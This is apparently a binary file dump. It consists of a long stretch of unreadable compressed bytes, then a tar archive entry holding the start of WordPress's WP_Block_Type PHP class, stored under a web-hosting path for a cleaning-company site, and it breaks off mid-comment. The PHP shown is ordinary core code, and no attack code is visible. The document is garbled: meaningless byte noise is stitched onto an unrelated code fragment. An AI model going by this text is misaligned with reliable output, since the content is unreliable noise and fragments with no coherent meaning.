Y0�7�,��Q�.��΅�7,��?v9F� b!�7���ᱤ��Ƴ��km��>�,�*�e!5ܦG�CR݂P�Tʧ\z�(n6���\ AO��7��P:+�`uM��A�i��(�P�cpW��5�Z�&�������
�iA���-i:\��[<!��"�a���rK�?m�"���� j��k�R����y��I@�[�BM�c���-*�&��<��cS�)Vms��1ɡv!V�vd��/���Z�Nm/'��7@E•6�~���:,`���v:�8�/��*��#��艧��K�go�.�3�E<|�1�~Z��e3ch��l�%�����3���#i��Xȸ-�zͻ����I.����K��;qI
��w̴�ߑ�׳:j�Yh��"0�ؘ�7��Z0#v+*���n	�>�c�G��<Yq�4#1�j?��������F�7fq�(�<W���=b;
��5QjDRc�(����ڭ�`m���l��
W��(�"���t)���ӄ>b���F���O���
��;���{T�  3�8��lф~�)�0ez|�x�I/��T2��5��j��#�LҎAo���Ee#�����@D��@xXL�,B�!d�QX=��k�dG�!�G����Uq��ɩ�yE�+�V�g~����Hp��aF��'z]*$#�X]�m�)k���2��%��g�b�T����
L���gD��o�k���6C!_�@E�y�f�c�4���)헫�KQ����D[�Q��Qh���E������~�s�����0��v(��Ƌ���n�iAI�hj��<3O���$�&�������H��B�j�3�gr2K�&
�vs��6�b���6����k��n��&�=g�:T��3�.Ҵ8�Oֳd����m�Y�\�����Ku"�5������=t��=��GQ�fR��9`={k�"�.�,�g����t��@����g<�K�<��6�6=�3�:_P=h�AB~#?��-����ɀ���
l���V!�5
za��ւ5��̯�Hϻ-7���,���1IT�AL���ic�A�F��E��UxLK�0��vTm��t�t���#ژZ�N:XX����2
+�:<���XO
.�����)�F�B���µx����Ѻ��B�%Lww=�h�͓+�	��Vr��ۭ���ĠU;F��d�O�r�2�-O��ʶ�;�!�Jx�8�܀H��Z�k �S҆��d��5#���F b��V��C��c�٠?=QcR�(V�������k�o��*:$uX߳k���L�n�Uc箋@*x<�����Q��-d{������N7�L�����e$RL��(;8�Gh0�'�����]#T�}#7��}qŦ���3$>��j
�&��.r{���Q�K�V�ev]]6��$��kkd:��d�����6�C�Nad)cW�i�,jv���h|3I��s��}n���#QX�'>�JY�vk%	CqV��X��`+�8��9C�65�|�K���1xT�j)�5�� r�:E�S0Csjy���;���mGc�uj��dx�\����ɡ���KM6B�!��ټT�:�f��c.�$B�	���ro��[�>�O�BѠRԖD�4�d\�d���s�R�j�w��r�C*f�7J5�T�B��n�n}�ւ��VA�U�Y�4�v:�x��W�B���B7al�칄��ٍP��3t�K�{=C�_���tt3v�e�}j�7�o���r�hވ<����TH�x��aI�˽o6z�	���w�����9�,�H]x]����&TK�1��v���ۻh���<=��
?�!n��z��h��.�$��CE��9GkAi=WsG!�$/�a#���l��L���g�C�Cݵ>�\� ��廌���E2s3u�a7�5툇�f��gjd�s�>��i���r�eR�іg�%�v�:���}Ӑ^�kh����6����^�j۪�[p4�յS��(9*�U��F�G���,�&
���u:jD(�j���|�qɼ�z�f�5���`Wg�=���#P>U�ROr0?k�"@Sv�U�6�k��M_c��=��K���c(�{{U�H˪��'����R�9~H*l��%��u��m�E���#�35�^2�O5��ڬ�b�|:\�Ol6p]ؙ-$�%�!Γ�m�ʐR��?�Di3�+0�KjH�L��S7ׂڈ���
��ҁ.�$ao9�.�v��l�i�!������xNj�밓=�/v�z�fz���d�;GO"�P���h��X�OyL��D��-�������e��!�z��Ⱥ��C��>F�ks�~I�@E�3Q~A��m���D6w�TU�s�{�`�̢L�]��M�2j'~gla�4e {+���|�#�0���F�<Ϧa�%܁k���m�!fsm�=H�J7J����	9����ͤ�m�#�oj��cnP��y{�/�RW|n�¡e�>0Hד��9��� �p���̉�y|m�(��o�M���v҂$��l�ށW�aX�� W�4e,_��	��JWQH�#&Rs�p6��E-_b�����1�/r�J掹'\F����E��g_
�G�%.�|@
�^��N8d
�s�#ᩝ�l@���I�P���7G��A7��#�NF�}���T���<8��9R�,6(���ah/[b��g��S&��2hRb��h�#8��!x�G�JT��-ːM�
��Ai/\��Y�qx��f�����w	E�����9VݶDDg
�q����s)U��fd�Bq�|m�P��pQ4s�O��}�{��꿞v7�Ran}ϹuP�T�6̒�~���ҐGu�F#�
�V��=j޾�1	�B@vuz�V���O�b�Ѳ�R�����?�u}Ґ���Y6s�Bˡ뾇݄<t�Ժ�L�n�e��%�ץ�ؓ�L��3�cm�t��ԭ|I4L�s#�bY�`�����*l
_d��
�LM'Z��&O
�[ټ�?9V����溡�-��	J���)Q�5y<;R�dǰ��iN'��E��,#c�))�.6�ț�B�]�Z�Pٓ��
5rl߀iY��^�A����C��
O��ܟ'9���xu�*&8�I�ҵ�Q����C��\����Z�OF�F��X�Q���Q}���#�AF�kF#7t�tl��r�6~�1�8!{��d�/��W�J�M4ڋ�J[q�kf@�\i�ɪh�a3,�9�z��R$�c���]	P$�7����;�cPZ��aF=�c���@�Ѫ#-,�m��k�uV�p�F�@\�R�B;���܍aFg�I����a�x��6
ʊMn�rJo~qCS�-m��8������5n���̖)�C}A����#�0�j҂h0
���Ҕ���4Ol�f�GhOV$PX랉�ɸ���Ȝ�@�L��X�Z�Ĭ}4�	�^�tpv���;+c�K�͠�u6���,�zzܹ�ًreJ7+:eM+�R-a�E7�L��	���GC���ұՒ$QsKـ���4H_(��2ϱ�
Б��1�b�y�aIh�.��T�֖YS�˩U���vT�f��B�������lna�޵�@�LQg;`�S5���F�d�E�}�P�O���}���$u_�%*ǖp�r��*�L�=
��u�Dg���N1*N��OE���,xV*�%^����%ʶ������F�����Fc�J��z~S���y�c-f�t�1���[�d$���];�P{�>%��kW>�k��▍�lݢ�,�C�x��>hٮ��AS��y%`_E�x����%b܈z��$�l������Bl<T~�ʻUポ�Ϻ\7��|RVJ��m�jrL,Lo��iKG�����2X�U
�EYҁ��[�6�A,����s�IMf.c�fF���KC��h���
{,�7��69��h�CNWɁ̾�~0��!N'[�fn2�
�-	�Df:,�z��~	�*��Q�:=�[��:�⯡�dd7[j����C"�l���=�2��T"O��Rޮ��D<=;�Q�P^K���'S���lF�`�lu|n���2�	��֤#)�
��0G�1zM�Zt7�Ukrl=�K��=����vA}�}��:��7����A��L���H|"�l���5!�
P �q<|	U���Q[�A���o$c�x����4/��&�p���pF�g�Ξ(I�!��Ҏ��e����I���똜]�8[�V��A7.e�-�KN���ݝ(�s_%,�%Ji�%�6�#G�t�Z�]l��$�=�@�ML{i[�	����]H2��q��J	�'�����$�ߴ���{�nY�C��T{%��p_�]����ǒl�P�g�W�-��e�;<�-yd���?�f����!}���2��o%�50S?዁2�,-!9pP�?:2 �,�I�T1�9s2���t�IB3�@쨞��:�ɦ�F�]��#K��i���O2HZ��B�t�4e�qO�����!Ԍ�^�&�R�[B�:<�]�ӫ>����]	H�[e��;���x�!!Pd,𳘂xCU�����']z��u���a]E4�9mW
��wt�EJw&�Η���ބ�0�
=af����"�#��ƌ
D;@'7)3��U1u8��
v����F�aQ����*x��gz�ZJ`��V=AACS�A��a�R.V����8|0�7�0�\�9����cS�?��#jt��9be�u�^��>�:�J'I��$�c�RO�$��}���2��t�S?�l�A�j���h��S����k^>��ͮ')WV�(�rcN"c(�P�@�h�������/sҎ\�IG��X��]hH���ϴ���#w�##�$g��<oi��B�؞��	M�r1��b�#�����'�g���|�N��##��dEN�Փ���Sb���£QR�y��"�@$]�8L(�Juf�;"�v;� ���X�@�z��)��tL�Zk�h܋|�J�2��n�9���`h��m�?	ZL�$�K��*և<ͭ�ck⍵�
-/��ԏ̀o���C��70�W	I�Ѵ�w�
�B򢼚����'�Q&�ș2��kc+c3<5x&�ښa�4.�N���6�3�l'$1M/P�o*�@�\F,4�)_���n�'O*+�3ٻ����p�:v��=�n��t�#Ӷ7Ui2��l!�&)ꫢ����!"�xunڟ�\ı����}{;P!T.ژ�絝-���fo�|2���@�nBB��p���YpVN�5,`�瀀��.�b��4ڊ3NZ��m�DK��	8�d�3�ы�yX��t1o�ԲCrܕ�:)�y��5�=FT�6Aa�|t֋w�k;	d�	�zZ�X���ug����M��"��7��6zI[K��A|��ZdGňgC{�0�޻�&8�>�cf���P�J[C��PXZ��T,��r��̒R�
�u��<�N>�|6���x���p��MI0`���*n�mdE��C�HN�V�p�BoK�Уr��g��EP
7�a��s�'7͟YB��}���U+��eK쪽��
�)�$��3��;�����t�=|Ĝ’��mT��O��~�RB��|HI�����UV�|��|���	$��*�c�u�&[FP�|��	#0�*�M���C&\��_g����})fh�b�)o�+9�">�D�cKz����E���e��D���y�>Z�3^\���KA��Ah�K���J�,�h�jT�
\O1�&��"Dlt��АoA�ݱx+��`-�m�^`���m
���.�!��0��*�V�:�e����$ŕl�&@�b:�ͺ's%�ԑש�F�	m��7�z0^��EL�"��&S{��@�:����a��$�n��*��ћ���U�8�V�~D	�jl�=`¬j7�\�D���.���(���lo�۵
MRw���'���y
�;���ډJ�x��A�[��6t�}�l��
�U��o�iNfR*�L3U�F��-��P��)g�qQ�Y����`+��sD"��H�YWa`/K��3w
�F����UdI�=*��I�y?Q����A,��2��A��/���J��E�
�n݊N�ҕtl�6�N���\�c�H���8��{��w�7�f����&�/��|�½X𬲕F�T���{������$e]u6<�T/�ٓ��&����b.`��>#���
ԧԒh�g��p���ũ�Q�YsA�~aO� u�M�-ԩ2P�}Ѐ����� ��I�o�]���}x��
y��Vr]1��Ŗ����)yP+eceH�?D--c7��pJ��0��T��?
Zث�Jt��*Q�X��4�ޥ"[;�d��3::"�%�qB������58,��j�f�Uf?%q��Lا&�'��!1�I��ݹ�c_�e���d��Ф<��->RZ2/e� z��i��V�c�n�,�9�%I�U�ߨ�O�M��w%�����1�}�o�C�f�e��%�B��{"]3�g�*�J�;'�:g����!%��HN�g:1�\���6Q؄���͔d=I9��3�R���1����A�Sl�Iλ2���'���AFqo����(����S��e���%�.�oR6���cxd�Cr�'kx���A�$�9�Y�gg�2��޳��	in���.4���L�5-��@A�cי+!U٫�9�����Kύ��l�?�V�E�s3�-v:"2�-[@;X�)Ӹy`̓<H�D|�3��2�ܕ hQ�&!Z��M�Ɖ-�;3K}t0TSQ;Ŗ(%���3f$�d^��1v���N�]��o�v:�[�x�;[B\.9{(�V�_�>l�h���4"��
�QA�Q�$"F��MUH�t����F���ߖ�l�V_�߃;�z
��M$�i��-�=���(\LD����l��o�b�ڃ'ؽ��ݺ$r��c�((�&�a��PZ��wl,����Gqn$~�m(��c�!�D���n%�X�ʠ�]ԏ)�Df��\�K���?@*�����h�$;*�����^V
LEx_��6h)7[O='���������:�!�~�p~mD�\>��%���(�T�s���
�a8SΒGP*�F�:yTu�0��56�i�Kr�r����g��A����[�h��J9�g7��� ��TˈS��q�z�&"�-J;�έ:�D}'%s��I6	��C��k�N�a��1�T���=��b����Lv�k[F4x�<�6C���Ŋ���;�^��j��C9W��}�I��l�P:[֩9��[ _b�C౴E��gv�y�/��C�=�dr��W�^y/,Pg�(�-U]�o>/�D�RJF�vD��Y�ә��h����m��(R��fQ��h&�B���x���W�")U�&s��A�2�����1Ձ���WU�꧊։���Q5$x�Ģ}�	W�D�x
�SaM�
��JZ�u�J��X�{삽���^i
Y2TCe������w���l�rR?�3���5[��D�7�1��>h��R�h���j���{�,lnC �'�S�F���t��������
�8V��i0&�Y�i#@i�m4�󽛐:�I�0ߝO�*��c����+��k�x�(q�zg��pdr�&Up�Q(����qgHڋ$*�)$u�A6��Fݕ��fsގ��V�gL&j'��9��$�ܠa�M�=d_!�U�P���,1Nu�|omFm�$\䧻LM�^�3za̴l�\��F@S�4=�v�0h�	$���2����Vۛ*�)mE���ڿ�a�٠F ��j�L����Ɔ����X2�i�]� 5ڦ6�࡟)2I�q�^k���`#���P{64,ފq��W+
�ew�a~;���E��tf�S��[۝1d��(a=[�Vb�ݑq���C����O��_m��>Nu�ު*�k#T���X,��}x�����X�`$wI�l�B�$+d��/5��W�N6�<�in�����H�[�C����b������#�>옉Xu{;�R��m�@Zu4���pS�Ue�V�p�ΐn�M��'Ͻ~ѻ�o;̒*d�����9l�&�p1�Z�\�I�d,���ѐ�2i�)$�L[<�8����U0����4TS�H��Ŷ�"��)���V�6�5�9�s�K5v��t��D�ث���Y�.8F`��ֽ�;��&m(F~�?����-ZdD
�!a�C�?Q�5M=H����qY�V���C�Q�����zo`�z�E�Pj����,��K��7a�mkB��<���T���T��5X�G��E.�j��޹�R+��f��(bk��.�q1�E�~��R�y9��	6�����$��4���.�]e�p�E�a���Y�OhD������WC���zixύa�̾�-�^kYƮ؞��)���no�"��j���U�ڰ�t8*yuf��m��)M�ݬ6DCa�~
c��)T��e������M��*R₷�g�z��!���bxi��b�\�xư-�<u3Og�ɴ���~�V�^iOE�o���D4ɖ�@`8r���G����l���I�Ќ��e��%bK7D,��w��}^ʆ��VWKCX,uMN���)�c�`D5�8�a�{����Q�L���H�&w�Xb�������tabl�O�jET�Ą��?�Y��3�<E԰����@O�����
���8w_�8X�RY���4��m��8��EI�(�2s�����ʀK������pD��ށ;�֘��>��S�$	_���-�ք:F�nl��ń�[Y���㤈3�=�J�`c�%g�������0H	>#����4��""@��%=�?��1j;����PNs��t�s]{�e�X���͕���o}O�bN��p�l�L�wY���K1�F��6�o쑗'�l<��d�P�(���+��ՈUݐ�.
������B��E55��Z���6����q �_W�Ǟ��MeG}dӲG�u��P̤��An�mC�)����Ҹ"9��/;�$��o�THu�T�>�����F m��r"���Ih�o!B.=)����r9�pN�nr/�f�ەRD���|}S�X%��C�ȢG�h���L�����@�S,}ֶV$���m���qls���uG���D���8tl4H�ɽ��_�J�,Ai�m�;(V�,��EC����R>X��$�g��kم�@<����Y
�a�X��Q,��<jUC%p����e��!���5E�l-��-�*��e�ҹ�R��
�m���P���pUvl�}Z%aQ\x�?j���:�*^�j]0�G��/5��E�a�"���4{?��f�5J����Z�Bk��(���@�0(�^� ׳M���W�����������3C����Q��yI"��� ��t�ji#��&7V��\�N"�gw�Ő�7- MUḭ��?�?�%fm_侚�Y��)�o� ѱ?0@U�H0���V����M�85���x��Z�@<5��(k~s��ۋ��1��>�:��`͍kC����ő��u�$&�\����e���-��,&
�$ip�m�mj�3�x�&i�CX��Y݉��/7�D����ه�ԅZ�I����Y��Rs�2�&���v6��-�f��iPm���2UD��%�H'p�=���]&�[�h�tpr	b�ޠ�a����T�I*��n����bsYW�:�5��1c(qӒ�S�-S��|��#[�&2��e��8�<�-���T:[��U�<�A���G��fO��L>H�U�i.�#��U�^�"�������\X��rg~������S�A|\a��.6�U�I qs����^ǞF���܇�Sd�D;��D~�޸B-p�&��{��B*�a8�bj.�)֌C4kY8BK�N㔥��q�b�5�Ie���/����0�/)��mii&���~s�I�Q�$%1���I�Tyz�	c���Ufc_zf�&7����6&��d�wy�������m�i]��&��$K����B���<%��6(PV�2����U	ҡ/:�h��H9��8�|يwh�"�e)��.��p����x�-P"�Z��4!��t���x  9�-ET�� �@,l�y�.��ڏ�f��br���A���Q��˚w_��Ddr�_Ò*p'$�p���<5����hHo&��j�"�o{fr^�3�=�oOu�����	i�)`�.���,��Sf��^1ͥ�������������$E�0�S`%��sd��
��t02#RA������Y�V�:F5��'
O�
�A/�w�h��P�QB�Q��@d��0���]5k-�m�z=�FI�d�?�L��Skх$�}�h���i2�jF��޴�{0BĚG��-����u��$v�a��ܧ��lO�qU�PJ[�C��}8�Z�mD�cu���N4$#:��N�N2��#%�M�g$��q�h���fרyY�G2)��Bȼ�����I����0a65C"���K�0<�5:��L�.
t�Åq�$S��εW=�r{��'��[m�#�P��`	���F�6�Ӕs2��ɏ�gSV�H8��q�s�['K�A(������c�P��N��\��&Y2�sG��O���6}7�F��v����hnbL�`�U*���
)�m�å&�nN�5c��C��x��_Mn7�]�Yƛ�QEj�w�5��0�0�LC#NP`J'w�	i\�4c#V�E�e*�hzDƕ�w���g97��2'\�'wm�'���������=�H`J��l�(��� K<��cE�F�c�4�
!�X�|�X`C:�����ϥ!p�K�u�U%��frIl��p^��'�p`i)�g`�H+ʽU��'�yd�/�9)�Ѳ�]Ml�P_��5�Zq+���ĸ�'c�'8
t�޹��sK�;e8��I�F���N�r�2��v�;���gISW�c��-��{8��5'�҂��۬��a���-�7Ns�P�E#l�n	�m�x�ji��8u�F�k��sǕU&���V��q�r���zJ��l%Jz�ܪa���S틨��HF�rV�c	��a|b�.pX�y�����>��&R�|�&��f?Z˛�ed8��\@�E��y�O�i�A�Tݶ��$k��´��gc*"fMV�IX&�^?��l^ڱ�R��Q߭�R�@[u"�4k�*,	Q��N/u៨�f�� 8_Pj���<��21pN&�a;�L�o�gE�ז���eg�[O�i�c��&�+�j4���Š��iH:�&����l�
_�OI��N0|���H�d�1�ɬ��4�'lC1�>]�cc�\.�	�Mg$��8�q��̃�
�M��)F��c���Ċ���v���U�Ha$Zn>8ǫB[ҒW��:q��	��$*��'n�:��"L�fm�O��xN�a�
���<��z�p3L��7�vM��t�HAq���jd��!
��>�/mC#�_��[_{,r'v���!Wh��$���qN	"mV�yݸ��J,N_7z���Q�^w�̸���F`��ǽ;ڣ���ak2���Vq0ZM�Wu
̕�FC��Z�4]�L�
}gW4O�!Ø,[��H1�HK5���E����cb���6l#�62*�c#�=�R�E�m�����:�z�L�U��8���y�G岝���hr�8���D9kv�>4}�уs
�,�s��a�H��T�j�,�WU�mσ���_�;���&�􋠦4�������G�c]�����|W�����|;pހ�Gu�\�EM�����;���k:=���l��0(-�
:�y)lo���P��kk��
����!�����~s��h���.� �U��z"	Ķ��4X][(8���][��8��־��̛�ڠ�-69�W�=�?�BDžӔ�le�g<�`�lN!Du�
��k�.����E��:%��1���ٜ�(n���!�;��H�ظ��b�`�Պ|ʙK�-�������a�n�H	��na�)�z��a��`I�q\���=J�0z��,����;��%z���X0}�ݐ�yu��h	0hd^ř���'�BQl
��#5
�0���R��������Q�䲥��)1��ɴ6�S���Ytx��ձr?�#��3��9�M]��˖2a��
@@��vAJ�~9�Ŭ˦wS5F7�'Yz���bݝ:�x+���'�q�����L���rE�;��,"��xI)��#��z�٥�)�BY��O�A�kr �[��{B(�,����c҆����e��%O���^�J'�T(@BR�&��Z��rR&��O+�Q��ڔ<2A�JϨk+u7~ȉ�=,�*m�
w�`�Y8>��)�o�Nf��C���㧻������[dy�1����Nq�uo5E����%��[5���
��g��f5D؊�B5����=��OVAT$fy1��G�U0<��Z�t�B��n]��]8�&k,��6�(R��q,P����졌��f��|v�|~�O�줋cwP1��{Һ����Q1�<��[�N^�����m��YP���T��� l��(��C����!��ʤ@<ug�����8��p�B�.��E��ڵ���38�=A��*��N�B��2%��:a��̽�AT׎(B���S�X�U�yOH͜zAȝ[D��� �en�a�RYe6�h�B��h�o���#�2�=%�+<�V䞱��}w�+�}J�N���P��@Ln2#y����`k�e���^ɓ�E5��J�	5㑷Y��3��=�
6���%WZh��n�)��ot_�5E3A-��Ӻ�ap����N|�>��S�qI��j"�RɊ��:3��
��7�ɑv6v��rOM�2�
�:]è�ՈB�Ĺ���G���-�z�d���$v���3Ky��R�&��7�C}���s��rtR����ƈ�mA_������t]y��U�sˤ�4�sH�P��];L��KXªQ"��r����d�7 Ѳ)�_�C��c�b�d�`	�@�`])�u$�<ƌ��bdo��D�Է��܋�UAbOg6z�n��x̍b=6�M^+� ���x�
��Զ�B��G�-KO2���*䠍!��(��(.���EvC�z�~<���'Q��������C;����x������:�L$�
E�����auJ$��6�su��GZX��r�\�����b�t}�-bv��j��N�ۘ��_��վ�t�����S�+sK�F`��wӰ�%�d���ica�3_��Z#Rm�P���Y��f��>(��o�!�Yߋ)�;:iHF��0[�#a�sf;q
:,um�w�f���k#Ğ��mj�XjI��U�%=g1�\����L� ���U��7j56�ti��א
D���ܥD��VeQ�Iغ5��!5�C$8�wC+9[$F�~�`'�B�� �C�G<sV��@�[�4�U<`��s~���"����b|�݅�pq�6����S/)G66�4������M���{o*+bT.�5�6$dsE9}�Y�]4�#�> y���3��o?�C���2��(Q��׹�h��_�Dk1`3@�4qt���A�j���`��ɒ�|8�EV���AGZ0HX�f��n��*Z�R>�t7U��4��lD��t=]��׾3�v�q��j��/E7w!]1	%(��4�@Zuv�.��`��@2��0yT�d�X(�|�>��h�.���h��9
�Xk�Ը��Wb�,���Vv�UC#�)�,D��	HFJ�8�.���1�����S��D4��Lun��M�o��*^8O`���0��M�"o0�~t��b	��
������,��9�nM��ڂΒ�-��z��������5�OьɎ�9�l��"��T~\P�2|���W1DD�{z�5Wj����<m����e�����tU���NɒLq��hl>a��l���648Q�y�W�|���{.��H�|���$M�018�9�RϹK|�3���EM	�WiS�=�+?�2�Q����s�X�3MpԐ]7d�t�̘��5�J�H��	`�ϱ�ېL��"/b���u7��u�{�����76���2��osI�-Z�OI��vr*���+gH�"m�^~��@���i��L#��X��~���F��R
b��~ر�s�*�����%T�ǰ+�A��rj�$d4-�v���'B�I��A`F��48(�UG��_+K\���V�!
�F��1{7�{�
�0Ӻ(��U`s*��\��Օ|����v?�g��G�ٜL����z
MM_��lr��#!s���'(a��뺛L�9��l�P�2e;�ş3't���)=��ZCrYE���Z���z��E_B
�M|ptM	�;Εr�	F��v,i�&	������%���t�E>�y��+b����i� ������,䁉��G#~5P�r�C�l��L?��Tm$E��h >���{~֟B�AI1FU�����A�j��=�����g��[NE7�8�ң`�x�oXrO6P��n��GϢ�;��\`���j`�h�gh2�����9d�����ɬU?YM������v�C^3���eHYv
�axQM� ��*���sl����lP�Z�j�,����@Ś�C�Ҵ�8�J�9O��0�@p���m�z�����ŃJւ�;#C4�Lh�.�+���b)��B��t�R�Ʀٍ���k�L��lQ(�a���q@xTwM�C�H�wOM���	]tW:<��Twk_�XP"��#���ݢIH���d?�W!2&�����I�40��*N�dh(y�p��6=�K�k)��lsa�̯$VlB��܃�>�D�l�U�*o>!x��c֌�dI �`A;pF�	1��"���$%�5n�8[���VGi�6���*�
?����mwٗEEg.���O���DH�f����X�p�Cw��9IV(�����{"I��H=o?G ������Rkߒd@���(�"����TBH�h"��r���b;�#��vxg���ɗ�2N3T�4O�ؤs&���خ6�@��.2z��dIna��>+�iZ�mOT�C(r`��L�
)wd�CHQ��ܨ�}�hVy���fˆ�W)#i�[��	ˣ8�E�y�3{�$�e����V��Z��]NО�^��C�r��B���� j�%l��!��Z�}[N�!.�.ى��.�2Y=U?�Mx?D�K��c1L���]vYmbP��Zs�Ǿ%f�RX�^�Y�H���3�����,�H*.z�ms#Џ�٦�B4�IZ�b�QN$BEx�"КD�Z8�u�G�~��#�lL\�;�v5��� Vۦ#U��u���~�0��2=�Y�Ҹ�
i�Ȳ<�-�[=s�:pj�+��鰟`%�S0yX��>�!Bo&�Q�[��Hi��k���ڤ���0���hCj.�-y{����~C����LⷚH�;/nV-%��ʰ�ֱ�$Jg])��I���iå$Y���nm���)���1�����J����p�Ä�tw���D��l�|��}���ٟ�_�����~~���_���闟���͓�_}���O^����ɗ/{�б>zy��>���Ww��?�/������/�%����������&����Ϟ}�~9���>�_�|����On^�~��铛��Co��꽅��z['���*[B�4b�֑<F�
�fR�t�'�O�D�B�[W��pB,�N��^0T���lK �3
 B�D�-�E)ӂ�������r/h�AP=d�����	��r5f�r��RvH�%�	Ը��>tK�1v��ϻK�)��vu;�p%R��h)��r@~	���c��ߕ<ap�vgf����o�;�D����������M�
�LY⋈i��$gT\B��)5��j�$��p��>�4*!�(P"��՟p���aV)S���%��E����ÃH6�Y��
>��'�Ar����dDU����l�"���&����a,g,��5���hu�|����F��j)	��;�"š�&��y8�.)b��WO�2�Z�5���L17Z���v�����R���:Ie��|_���BU����Li������C��.�s����?
�:�s�������C�i��t93`��e�߷G��W�}]
�{#�K���w������ݦ^B����l�M}f�VSM��~���$�v�@�3��avb
��]���^B��<��^��@	.���էdžZ��`o���:�����~�)#v�n
���=�
�_w�i�+6f��yGݾ�Q��
�-Q�c�Kx.�5϶�ԝn.ҸP�Ig�
D#ٝ���	�-���exъE�l�o��s+��űȦp��Κщ[�=�e��-�vfZ�� �$T�4���Ԃ�~�}�-1����k�Q�u�qq��Š�oL~�c��������W��W��쾜�{���y�B��\4ڔl�I���*���W�Ц(u���ift�o�D:�:�Qu孋����8�'�v
(�
>��PQj��8l3EO�|}��A��9ԡ�6@hw30}�-R*[���:v�y9K���uܠuᰥa�ōI���L��ə��I�R��0��YJ��H�y��������m��4
�F�'@�ޛm�ME��e;v&�C����ʓ=dꧤ*�{VeVҺAv�5T����l��kLեT�Y  ��=jdzb$S�q?t��� �b�pŶݲ`?�K���t���R�i����E�nT�?7��X�Sd�M7bZ#����̱=4�ݓ(~s�D�5��r&и���F	d�k��d��Ӧ�d��&�2�t�$˟����[���#�%JF��"`�YЎ������j88��&��8w�<i��6T1��^��~�9��7?"�`�<z�u���G�z��t��߾|0۷?A��Ƿ?�
��� ]#���h�y�M��ftԛ�8�g�x������^��:kك�"���F� ��p���2o�����fĜw�
�
л�M���'|�;wIL�v����y�(�;/�X3!j��'T5QW��f���^�����w����{��{��GT-�\߹JlK�;�66Tb��������;71�w�5b =҉w�hHT&oߘt�m���������?��~�䳻O���Ͼ��>#Ү��[NK.����2�t8�����7������2V���?�g�	���K<�>���7?{���W���ׯ~�ӿ���o^<��_|���}��/^ޕ��_�i�}���>��飛O?{u��7�]�����/_>g�)���_��7y�@O�����������}=�}��gD���ų/_����k���������1r�=�Hn��x���/��~��Ͽy��ys���g7��ŗ7�>{��On��x}�嫻�ן=}u��ӗq�<���ӗ/>�y���]�X_|�ы��|�/��>�þ���Ϟ]�5o�y�;�����m��/�?��|����>�rk��=�վ/���]_wd�ԇ��J�!н�V�_z���η���?�3	����o?a�՛�{L�~5�����y{���y�~o��׮��-��]�D���'�ɽ�c�^>�����_�2��������������Ro?��?;�����ߗ����~_���K���H����}�4��˟|���+^�����+^����~�]�����廾�i"���'���R%J��F���?���/Q㓿��'��?�_����_��ɯ�ɯ��ČO~�?tR�G�C�w|q�����J��7�Ǐ���ϵ�_����;><�E?&���;~�$0���i���y�ן�|�ϯn��_�����ܜ7���_}q���/_��1��2������z�q�ޓ��僿K��|�wI!���1�����E�}�?\
�{�<ƽ���9�����\��y�|�M@�������;�����T�+�^�����W�}b�o�n"wy��������?�$�w�;gb���ܑ���ru��r.W���o��͎���\��{����~.��۽��_� ߾������˥�ڡ���Ĉ�?���0q�q��o����?�G~���l������{����i���W�Z?ξ��ُ͇�����?��
�Il14338/class-wp-block-type.php.tar000064400000045000151024420100012310 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-block-type.php000064400000041561151024202550025670 0ustar00<?php
/**
 * Blocks API: WP_Block_Type class
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 5.0.0
 */

/**
 * Core class representing a block type.
 *
 * @since 5.0.0
 *
 * @see register_block_type()
 */
#[AllowDynamicProperties]
class WP_Block_Type {

	/**
	 * Block API version.
	 *
	 * @since 5.6.0
	 * @var int
	 */
	public $api_version = 1;

	/**
	 * Block type key.
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $name;

	/**
	 * Human-readable block type label.
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Block type category classification, used in search interfaces
	 * to arrange block types by category.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $category = null;

	/**
	 * Setting parent lets a block require that it is only available
	 * when nested within the specified blocks.
	 *
	 * @since 5.5.0
	 * @var string[]|null
	 */
	public $parent = null;

	/**
	 * Setting ancestor makes a block available only inside the specified
	 * block types at any position of the ancestor's block subtree.
	 *
	 * @since 6.0.0
	 * @var string[]|null
	 */
	public $ancestor = null;

	/**
	 * Limits which block types can be inserted as children of this block type.
	 *
	 * @since 6.5.0
	 * @var string[]|null
	 */
	public $allowed_blocks = null;

	/**
	 * Block type icon.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $icon = null;

	/**
	 * A detailed block type description.
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Additional keywords to produce block type as result
	 * in search interfaces.
	 *
	 * @since 5.5.0
	 * @var string[]
	 */
	public $keywords = array();

	/**
	 * The translation textdomain.
	 *
	 * @since 5.5.0
	 * @var string|null
	 */
	public $textdomain = null;

	/**
	 * Alternative block styles.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $styles = array();

	/**
	 * Block variations.
	 *
	 * @since 5.8.0
	 * @since 6.5.0 Only accessible through magic getter. null by default.
	 * @var array[]|null
	 */
	private $variations = null;

	/**
	 * Block variations callback.
	 *
	 * @since 6.5.0
	 * @var callable|null
	 */
	public $variation_callback = null;

	/**
	 * Custom CSS selectors for theme.json style generation.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	public $selectors = array();

	/**
	 * Supported features.
	 *
	 * @since 5.5.0
	 * @var array|null
	 */
	public $supports = null;

	/**
	 * Structured data for the block preview.
	 *
	 * @since 5.5.0
	 * @var array|null
	 */
	public $example = null;

	/**
	 * Block type render callback.
	 *
	 * @since 5.0.0
	 * @var callable
	 */
	public $render_callback = null;

	/**
	 * Block type attributes property schemas.
	 *
	 * @since 5.0.0
	 * @var array|null
	 */
	public $attributes = null;

	/**
	 * Context values inherited by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var string[]
	 */
	private $uses_context = array();

	/**
	 * Context provided by blocks of this type.
	 *
	 * @since 5.5.0
	 * @var string[]|null
	 */
	public $provides_context = null;

	/**
	 * Block hooks for this block type.
	 *
	 * A block hook is specified by a block type and a relative position.
	 * The hooked block will be automatically inserted in the given position
	 * next to the "anchor" block whenever the latter is encountered.
	 *
	 * @since 6.4.0
	 * @var string[]
	 */
	public $block_hooks = array();

	/**
	 * Block type editor only script handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $editor_script_handles = array();

	/**
	 * Block type front end and editor script handles.
	 *
	 * @since 6.1.0
	 * @var string[]
	 */
	public $script_handles = array();

	/**
	 * Block type front end only script handles.
	 *
